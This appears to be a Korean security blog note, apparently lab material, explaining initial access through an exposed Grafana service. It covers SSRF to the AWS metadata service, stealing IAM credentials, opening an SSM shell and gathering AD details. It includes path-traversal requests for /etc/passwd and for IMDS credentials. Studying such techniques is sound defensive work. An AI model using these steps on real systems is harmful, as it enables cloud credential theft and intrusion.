BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
초기 침투
1. 초기 침투(Initial Access) 개요
초기 침투는 외부 정찰에서 찾은 취약점이나 자격 증명을 이용해 내부 네트워크로 들어가는 첫 단계다.
- 주요 기법: 피싱(Phishing), 외부 노출 서비스 악용(Exploit Public-Facing Application), 유출 계정 사용(Valid Accounts)
- 최근 흐름: 예전에는 이메일 피싱이 중심이었지만, 요즘은 AWS, Azure 설정 미흡이나 VPN 취약점을 노리는 경우가 빠르게 늘고 있다.
2. 초기 침투 실습 시나리오: Grafana 취약점을 통한 AWS 내부망 진입
본 실습은 외부 웹 서비스(Grafana)의 취약점을 이용해 클라우드 인스턴스 권한을 탈취하고, 이를 통해 내부 서버(Bastion Host)에 접근하는 과정을 다룬다.
2.1. 취약점 식별(Reconnaissance)
- 외부 포트 스캔에서
80/tcp,443/tcp외에3000/tcp가 열려 있는 것을 확인한다. - 접속해 보면 Grafana 로그인 페이지가 나온다.
- 버전을 확인하면 특정 CVE, 예를 들어 디렉터리 트래버설이나 SSRF에 취약한 버전인지 판단할 수 있다.
2.2. SSRF를 통한 AWS 메타데이터 탈취
- SSRF(Server-Side Request Forgery) 취약점을 이용해 서버가 내부 요청을 보내게 만든다.
- AWS EC2는
http://169.254.169.254/latest/meta-data/주소로 메타데이터 서비스(IMDS)에 접근할 수 있다. - 이 경로를 이용하면 IAM 역할(Role)에 묶인 임시 자격 증명(AccessKey, SecretKey, Token)을 뽑아낼 수 있다.
# 메타데이터 조회 예시(취약한 파라미터를 통해 요청)
GET /api/plugins/../../../../../../../../etc/passwd # LFI 확인
GET /.../http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Role 이름 확인
2.3. AWS IAM 자격 증명 탈취 및 설정
추출한 자격 증명은 공격자 로컬의 AWS CLI에 등록해 사용한다.
~/.aws/credentials에 직접 넣거나aws configure를 사용한다.aws sts get-caller-identity로 세션이 살아 있는지 확인한다.
2.4. SSM(Session Manager)을 이용한 쉘 획득
탈취한 IAM 역할에 AmazonSSMManagedInstanceCore 같은 정책이 붙어 있다면, SSM으로 원격 쉘을 열 수 있다. SSH 같은 포트가 막혀 있어도 접근이 가능하다.
장점은 분명하다. 22번 포트를 열지 않아도 되고, 클라우드 네이티브 방식이라 상대적으로 덜 눈에 띈다.
# 인스턴스 ID 확인
aws ec2 describe-instances --region <Region>
# SSM 세션 연결
aws ssm start-session --target <Instance-ID>
2.5. 내부 정보 수집(Discovery)
Bastion Host에 들어간 뒤에는 다음 단계, 즉 권한 상승과 내부 이동을 위해 시스템 정보를 먼저 모은다.
/etc/sssd/sssd.conf같은 파일을 보면, 현재 서버가 AD(Active Directory) 환경(us.rt.local)에 연결돼 있는지 확인할 수 있다.- 이 정보는 해당 서버가 단순 단독 인스턴스가 아니라, 온프레미스나 하이브리드 AD 환경으로 이어지는 접점이라는 뜻이기도 하다.

